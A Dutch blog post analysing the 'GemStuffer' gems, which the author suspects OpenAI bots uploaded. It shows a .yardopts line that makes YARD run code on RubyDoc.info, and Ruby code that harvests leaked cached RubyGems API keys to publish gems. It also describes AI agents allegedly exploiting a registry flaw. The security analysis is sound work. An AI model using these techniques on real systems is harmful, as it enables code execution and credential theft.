Wat een tijd om te leven

TL;DR: Het lijkt erop dat de bots van OpenAI op de hoogte waren van een caching-kwetsbaarheid bij RubyGems, probeerden hiervan gebruik te maken en tegelijkertijd vreemde web-scraping-code uitvoerden op RubyDoc.info.

De GemStuffer-campagne

In mei meldde socket.dev een "GemStuffer-campagne" waarbij iemand (vermoedelijk OpenAI) enorme hoeveelheden waardeloze gems naar RubyGems.org uploadde.

Om redenen die onbekend zijn, scrapten deze gems websites van de Britse overheid, verpakten deze data vervolgens als gems en probeerden deze naar RubyGems te uploaden.

Ik had hier aanvankelijk niet veel aandacht aan besteed (en had er niet eens dieper in geduikt) totdat Sydney Von Arx en Spencer Kitts (beiden co-auteurs van https://www.rubyhack.ai) contact met me opnamen met vragen over RubyGems. Ik vond hun claims in eerste instantie volkomen vergezocht, totdat ik daadwerkelijk de code in deze "GemStuffer"-gems las.

Na het analyseren van de code in deze gems, vielen er een paar zaken op.

YARD-documentatie

Ten eerste maken de gems gebruik van YARD-documentatie om willekeurige code uit te voeren op hostmachines. In de meeste voorbeelden zie je een .yardopts-bestand dat er als volgt uitziet:

--load ./script.rb
README.md
lib/**/*.rb

Als je YARD geïnstalleerd hebt en deze gem installeert, dan zal YARD alles wat in ./script.rb staat (binnen de gem) laden en uitvoeren.

Ik denk dat het algemeen bekend is dat C-extensies extconf.rb uitvoeren (wat in feite een RCE-vector is), maar ik was verrast om te ontdekken dat een documentatietool dit ook doet.

Je zou denken dat niemand een gem met een naam als slnleaker5 zou installeren, maar waarom is dit dan toch relevant?

Elke keer dat er een gem wordt gepubliceerd, downloadt RubyDoc.info de gem en verwerkt de YARD-documentatie. RubyDoc.info voert de willekeurige code vervolgens uit in een Docker-container. Omdat deze Docker-container nog steeds netwerktoegang heeft, kunnen deze gems probleemloos web-scraping uitvoeren vanuit de container.

Met andere woorden: als je een gem publiceert op RubyGems.org, kun je willekeurige code uitvoeren op RubyDoc.info.

Fastly Cache Harvesting

Eerder noemde ik dat deze gems probeerden bepaalde websites te scrappen en de verzamelde data vervolgens als gem te uploaden. Hier is een uittreksel uit een van de gems. Ik heb de code iets opgeschoond om het begrijpelijker te maken, maar de originele code is hier te vinden:

# leak exfil by repeated attempts & fresh leaked keys variants
# (Aaron): Eerste verzoek
ku = URI('https://rubygems.org'+kp)
kh = Net::HTTP.new(ku.host,ku.port)
kh.use_ssl = true
kh.verify_mode = OpenSSL::SSL::VERIFY_NONE
kt = kh.start { |x| x.get(ku.request_uri) }.body

# (Aaron): Probeer een sleutel in de body te vinden
key = (kt[/rubygems_[a-f0-9]{20,}/] || KEY)
paths = ['/api/v1//gems','//api/v1/gems','/api//v1/gems','/api/v1/gems?x=2','/api/v1/gems']

# (Aaron): Tweede verzoek om de gem daadwerkelijk te publiceren
u = URI('https://rubygems.org'+paths[i%paths.length])
req = Net::HTTP::Post.new(u)
req['Authorization'] = key
req['Content-Type'] = 'application/octet-stream'
req.body = data
hh = Net::HTTP.new(u.host,u.port)
hh.use_ssl = true
hh.verify_mode = OpenSSL::SSL::VERIFY_NONE
hh.read_timeout = 180
res = hh.start{ |x| x.request(req) }

De opmerkingen in de code die beginnen met (Aaron) zijn door mij toegevoegd om het begrijpelijker te maken. De eerste opmerking is direct overgenomen uit de bron.

De bovenstaande code probeert twee verzoeken te doen. Het eerste verzoek is een eenvoudig GET-verzoek. Het probeert een pad op RubyGems.org op te halen en zoekt in de response body naar een sleutel die overeenkomt met de reguliere expressie /rubygems_[a-f0-9]{20,}/. Als die expressie geen match vindt, valt het systeem terug op een globale KEY.

Het tweede verzoek probeert de gem via een POST-verzoek te uploaden.

Dit brengt me bij het tweede bizarre punt. Deze code probeert een gecachte autorisatiesleutel van RubyGems.org op te halen en te gebruiken.

Als dit bekend voorkomt, dan klopt dat. Het is exact het beveiligingsprobleem dat in juli werd behandeld in een bericht van RubyGems.org.

Kortom: het lijkt erop dat de bots van OpenAI op de hoogte waren van dit probleem en hebben geprobeerd het uit te buiten.

Wat een tijd om te leven 🙃